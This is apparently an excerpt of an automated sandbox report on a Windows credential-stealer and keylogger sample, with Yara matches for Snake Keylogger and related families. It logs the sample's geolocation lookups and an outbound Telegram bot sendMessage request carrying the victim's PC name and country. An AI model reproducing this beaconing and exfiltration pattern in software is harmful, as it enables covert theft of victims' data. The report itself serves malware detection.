2025-01-06 06:41:11 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49708	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:14 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:41:14 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460463 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7pPw44ElCQbWCXghbvQ%2B9MPeaStnG7fDbuIFLZbfaYEIMHK9frQRkvMuVfVUEBAzg35mtbWrnLslttKKxMOq1%2F0OSFUZmD%2FnAsMZle07RvS46jl%2Fm8hyNk1AUelW%2F3V8LvGJnyKJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b8a2ffe34237-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1709&rtt_var=665&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1615938&cwnd=194&unsent_bytes=0&cid=d2e8156bc8779445&ts=138&x=0"
2025-01-06 06:41:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49711	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:16 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:41:16 UTC	853	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460465 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZAjoMAPdQZkyueQvhDD38ASnxX9EUZOF3IvTmupSZUek7RfHvPkpNlz6%2BosJOmYMUPCEzYYUkJRNUB3Pia8P2fmgiknFuLJXSk4rmayIj7uqvHndN4nlxBa3eqPMQ4HBJA%2FJlLRz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b8ababe57290-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1958&min_rtt=1954&rtt_var=740&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1470292&cwnd=249&unsent_bytes=0&cid=497d8d80d5b3627d&ts=140&x=0"
2025-01-06 06:41:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49750	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:21 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:41:21 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:21 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460470 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LAbhHh9QOAl1M7lJa76P8aYEGML1Q1pa6vh8tfrOI4KuID25NJw4QyekHcT7Nlzf4OWgAPfJofGauOmwQaTpQMknLy4YwezPnna7k%2BSM3%2FuWWlVIUpcDzmJYgRvsJK6%2B0b0aOMS4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b8cd1e947c93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1816&rtt_var=695&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1558164&cwnd=210&unsent_bytes=0&cid=28c2e7e1814e0bfd&ts=140&x=0"
2025-01-06 06:41:21 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49761	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:22 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:41:22 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460472 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NBPbxESmJvuAlw0yhIzHPX%2B7XQwVWbdson6a0EjrjWAV8YaAdIep4wOp7mZrh%2BcVknBy%2BtpzqOVLbNyTnKZBmTf3eXYWOIFieV4NRY1z6f0Q0u1Ca36CuvJURz5tJs9xxA46VTWm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b8d6581242f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1722&rtt_var=651&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1675272&cwnd=222&unsent_bytes=0&cid=0ad38f9d44efe2ed&ts=159&x=0"
2025-01-06 06:41:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49772	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:41:24 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460473 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FmcRFT1EreoCyY9LGAvGv9wkb4n%2F8j2Z83D01m5YWqNapMT16PqZROLCpf%2BVo5YikphnkZa19pJN01dxymbV8ZJzjWVPS1U6zE63n3zdLKPF0xmEmJnr0zJypvcbVgNd9ltl%2FRgb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b8df5eb6438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1555&min_rtt=1549&rtt_var=594&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1821584&cwnd=169&unsent_bytes=0&cid=e52786e830295ead&ts=158&x=0"
2025-01-06 06:41:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49784	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:25 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:41:25 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:25 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460474 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SkZaY5fe1nnAq3uwrSSmsuBijRBwBJE5virQps18fppC39v9nDd4AfU5DrD0cAQMeXbxZCiIRYGI1Cq%2FAvUoDVSv8o3TR7qCJ85SRI0PdG6DDAfLnjCya6j5blaghALJ2NC5CgkV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b8e809c4421d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1906&min_rtt=1906&rtt_var=715&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1531200&cwnd=177&unsent_bytes=0&cid=12162f04d6edbbc5&ts=156&x=0"
2025-01-06 06:41:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49790	149.154.167.220	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:26 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2006/01/2025%20/%2020:38:20%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-06 06:41:26 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 06:41:26 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 06:41:26 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	01:41:03
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\kP8EgMorTr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kP8EgMorTr.exe"
Imagebase:	0x260000
File size:	781'312 bytes
MD5 hash:	8A51BDA9C0CD3D8519C1156DFA39426B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1254420339.00000000052D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:41:04
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\kP8EgMorTr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kP8EgMorTr.exe"
Imagebase:	0xf50000
File size:	781'312 bytes
MD5 hash:	8A51BDA9C0CD3D8519C1156DFA39426B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	126
Total number of Limit Nodes:	11

Executed Functions

Function 06D0B688 Relevance: 6.0, Strings: 4, Instructions: 1029
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\ lw, xrefs: 06D0BA91
4'q, xrefs: 06D0C27F
xbq, xrefs: 06D0B7B8
Teq, xrefs: 06D0BEDF

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: 4'q$Teq$\ lw$xbq
API String ID: 0-807568411
Opcode ID: 43caaa1d3a594bd513f430443e8fb28af4a6d34f070bb41bd0b84b8a9247146e
Instruction ID: d71c5ee6c6670692f03a34bff2a9511b72225cd50d3acfc0118d45faa731ff8d
Opcode Fuzzy Hash: 43caaa1d3a594bd513f430443e8fb28af4a6d34f070bb41bd0b84b8a9247146e
Instruction Fuzzy Hash: 03B2B175E006288FDB64CF69C984BD9BBB2FF89304F1581E9D509AB265DB319E81CF40

Function 04BF8809 Relevance: 5.3, Strings: 1, Instructions: 4066
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$Iq, xrefs: 04BF8865

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: $Iq
API String ID: 0-312629932
Opcode ID: e6aab798c105746260f7c45a648c810a6c3b755ee2746c8461924b86079ee00b
Instruction ID: 7e4dcd2aaaef5b8379c136eb7b7237a23e0b036dae7f50eda16c7c4a88c641e9
Opcode Fuzzy Hash: e6aab798c105746260f7c45a648c810a6c3b755ee2746c8461924b86079ee00b
Instruction Fuzzy Hash: 0B93E774A056198FDB64DF28C884AE9B3B1FF89304F1146E9E50C6B3A0DB35AE85CF51

Function 04BF8818 Relevance: 5.3, Strings: 1, Instructions: 4062
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$Iq, xrefs: 04BF8865

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: $Iq
API String ID: 0-312629932
Opcode ID: 2b7ed54ffa1597600b121e8d42e3f64b32ec23fccfd6975466096e3d04f15032
Instruction ID: 5d53ecaba4b3471ed3cabdd343cdefa2275a5c0a99b252b174a08954d49dcb91
Opcode Fuzzy Hash: 2b7ed54ffa1597600b121e8d42e3f64b32ec23fccfd6975466096e3d04f15032
Instruction Fuzzy Hash: 5593E674A056198FDB64DF28C884AE9B3B1FF89304F1146E9E50C6B3A0DB35AE85CF51

Function 06D00CF8 Relevance: 1.8, Strings: 1, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 06D00ECE

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: b6bb5d40d8fb5046111123318cebe1969f1a75809976b0eb7aadfcd490adf1fc
Instruction ID: 13d4b7e1b525b11c59b9a1664587af5a91c1e123c72084eb687016211aee73fd
Opcode Fuzzy Hash: b6bb5d40d8fb5046111123318cebe1969f1a75809976b0eb7aadfcd490adf1fc
Instruction Fuzzy Hash: A242FA71E0061A8FDB54DF68C884BEDF7B1FF89300F1486AAD459A7251EB70A985CF90

Function 009F7093 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

Ppq, xrefs: 009F7273

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: Ppq
API String ID: 0-1927884935
Opcode ID: 91f8c794794ba0eb6037eaa4b3022caa7c3fa6e5ab139c549fb19678dc6d8163
Instruction ID: dbc9965511bfdd42d67ec26006e0d3a1a522a7c73ea26bb91c441387aec83c91
Opcode Fuzzy Hash: 91f8c794794ba0eb6037eaa4b3022caa7c3fa6e5ab139c549fb19678dc6d8163
Instruction Fuzzy Hash: 0581B074E012089FDB15DFA9D884AEDBBF2FF88300F24852AE519AB355DB346946CF40

Function 009F5CC4 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

Ppq, xrefs: 009F7273

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: Ppq
API String ID: 0-1927884935
Opcode ID: 18c1d8d0d966451241d4ca82c4c99f4f2f5958eea3ab2775b562f832d239683a
Instruction ID: fc2af5044272ffd8fc71b1bf34dcfc8856c0daa72c3656d1fc2b9cb53cf504dd
Opcode Fuzzy Hash: 18c1d8d0d966451241d4ca82c4c99f4f2f5958eea3ab2775b562f832d239683a
Instruction Fuzzy Hash: F681A274E002089FDB14DFA9D984AEDBBF2FF88300F24852AE519AB355DB346946CF50

Function 06D051FC Relevance: .6, Instructions: 621COMMON

Download Yara Rule

Memory Dump Source

